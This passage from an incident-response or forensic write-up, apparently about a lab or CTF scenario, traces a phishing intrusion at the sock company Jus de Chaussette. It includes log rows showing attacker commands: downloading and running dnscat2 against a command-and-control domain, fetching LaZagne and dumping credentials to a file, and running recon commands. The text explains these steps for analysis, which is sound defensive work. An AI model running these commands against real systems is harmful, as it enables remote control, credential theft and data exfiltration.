SCHR-MACHINE 2024-08-19 16:13:49.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f ./dnscat2 thesockwhisperer.com cmd.exe 81564154c486799e03501a3c9414f6b8dafd4a758b21bc66b26dfecf2ae501dc chcetkipu
SCHR-MACHINE 2024-08-19 17:01:49.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Invoke-WebRequest -Uri https://github.com/AlessandroZ/LaZagne/download/laZagne.exe -OutFile C:\Users\chcetkipu\downloads\laZagne.exe powershell.exe 20c26c6ee1830573e169b52cb3b6c22eef8561f4a378cc7fdf282e098f75f4c0 chcetkipu
SCHR-MACHINE 2024-08-20 16:03:28.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f whoami cmd.exe 9d6b7a0f6d15faa66197c68da82969c5047fcb1c8d07f8069e2b7217f7cb0aa1 chcetkipu
SCHR-MACHINE 2024-08-20 16:45:28.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net user cmd.exe f3efca8aca8cfe9a54e9d6ac121d3d21d03116dc482c54741ecadd206bea8137 chcetkipu
SCHR-MACHINE 2024-08-20 17:12:28.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net view cmd.exe 987713288f8a377964ebf3fadef105b723fb6eed9baedd46d256d0440da84e60 chcetkipu
SCHR-MACHINE 2024-08-20 17:47:28.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net share cmd.exe ad82b439f52b62698855dc059f73ad858a355a329587d7bec9222ed261e71e94 chcetkipu
SCHR-MACHINE 2024-08-20 18:45:28.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f wmic product get name cmd.exe 5d68b5d5cfbee471031597da65e65c6eaf76d50346f62f988aaf43445b1d6f12 chcetkipu
SCHR-MACHINE 2024-08-20 19:04:46.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f LaZagne.exe windows -pypykatz -oN -output C:\Users\chcetkipu\Downloads\creds.txt cmd.exe b433793dbd62db22c28d4015fcb1020ca7b4b2aa73bd15f99c1ffeedfa35ac26 chcetkipu
SCHR-MACHINE 2024-08-20 19:57:30.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f C:\Windows\Explorer.EXE dbviscmd.bat 3988b17aafea0f87d680f545919238426e9f58da75f45c9526c35fc90827e730 chcetkipu
9RGD-MACHINE 2024-08-19 14:52:49.0000 Explorer.exe b8754bc70053e026a5a273fcd9753d971fd58cb11fdd4e434be57fa5e4fc91a8 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\brentoe\Downloads\decision.docx" WINWORD.EXE ad2f8ed57acece4d79755623e0bc73795134a4110733fd65fbce4993ba42895f brentoe
9RGD-MACHINE 2024-08-19 14:52:50.0000 WINWORD.EXE 28a68ce810484e4396fd0f354a28ac8ec25e84411b3c0b33309fcbbd5e7c6577 C:\Users\brentoe\Downloads\talking_socks.ps1 talking_socks.ps1 e26d40c010c04e927616bb6598a54f0d601a3469546b0afc3a03854434794b12 brentoe
9RGD-MACHINE 2024-08-19 15:30:50.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Invoke-WebRequest -Uri https://downloads.skullsecurity.org/dnscat2.zip -OutFile C:\Users\brentoe\downloads\dnscat2.zip powershell.exe 5c4aa6e1ac33b606f680213a7b9291ce1be6fc6803a6cca6f7b655edcb1100ac brentoe
9RGD-MACHINE 2024-08-19 15:53:50.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f ./dnscat2 thesockwhisperer.com cmd.exe 90273b9563e30bfdd2d8b59ef7e086f3883edc0f1c1b5417f6589a1379cec9c2 brentoe
9RGD-MACHINE 2024-08-19 16:26:50.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Invoke-WebRequest -Uri https://github.com/AlessandroZ/LaZagne/download/laZagne.exe -OutFile C:\Users\brentoe\downloads\laZagne.exe powershell.exe 5dfa9368baa00cb71b395be9db3319ee42fb50c46299cb3a8ab493afb0448eb9 brentoe
9RGD-MACHINE 2024-08-20 16:02:49.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f whoami cmd.exe adc3383934e8e6fa9eb48b9af6472cc040491feead832c97e592f9e1f1850434 brentoe
9RGD-MACHINE 2024-08-20 16:11:49.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net user cmd.exe dd6b971538a2565fa9195d94a1baf481885439063420a25b8206916eb71fb1df brentoe
9RGD-MACHINE 2024-08-20 16:27:49.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net view cmd.exe 6f411997fe3f0117771b3d1741ae1485e7b2ff2fd01848960a51962e4b1a9be6 brentoe
9RGD-MACHINE 2024-08-20 16:56:49.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net share cmd.exe ffbed5cd9470c570be393f9d0ce7845183d99213de6ffd9e82e78cd860439fe7 brentoe
9RGD-MACHINE 2024-08-20 17:21:49.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f wmic product get name cmd.exe a842a12daef28435a11b122892a89e4b04e5d3587e5ef4cf62b2eda7a55f822a brentoe
9RGD-MACHINE 2024-08-20 17:45:18.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f LaZagne.exe windows -pypykatz -oN -output C:\Users\brentoe\Downloads\creds.txt cmd.exe 6cec082245b2b79203b5d5aad5b91402e1c456eac11487ea9feb4c334736170a brentoe

Indeed, the decision.docx file drops the same PowerShell script, though this time the threat actors seem mostly content to just dump the credentials using LaZagne. There are no further signs of activity until 2024-08-30 at 18:50:58 in the afternoon, when the threat actors return and use their hands-on-keyboard access to exfiltrate information from the CFO and CEO's computers and the Jus de Chaussette servers--likely documents only the CEO and CFO would have access to (see [2]).

In brief:

  • The threat actors engaged in recon using Jus de Chaussette's own website, particularly focusing on how to contact customer service, any information they could exploit for phishing emails (such as the French president's endorsement of Jus de Chaussette's socks), and any suspicious or controversial information regarding the company. They used three distinct IP addresses during this operation.
  • They gained initial access by using the customer service contact form to upload a malicious dropper masquerading as a .jpeg file.
  • Customer Service Representative Mike Oz took on the case, opened the file, and had a .ps1 file dropped and executed on his device.
  • Said PowerShell script downloaded, installed and executed dnscat2 and LaZagne.
  • dnscat2 was used to establish a connection to the attacker's command and control server and gain hands-on-keyboard access.
  • LaZagne was used to dump credentials from LSASS, including credentials for the customer database and the corporate mailbox.
  • The attackers dumped the contents of the customer database to a .csv file in a staging folder, which they later compressed, encrypted and uploaded to their server.
  • Using Mike Oz's email account, they sent internal phishing emails to CEO Cho Cetkipu and CFO Brooke Entoe with a link to download a malicious .docx file.
  • The process is repeated; the PowerShell script is dropped and executed, the attackers establish a connection to their servers with dnscat2 and dump credentials with LaZagne.
  • Some time later, they connect to the intranet and download sensitive corporate information from it.
  • Finally, they send the extortion email from an external email address.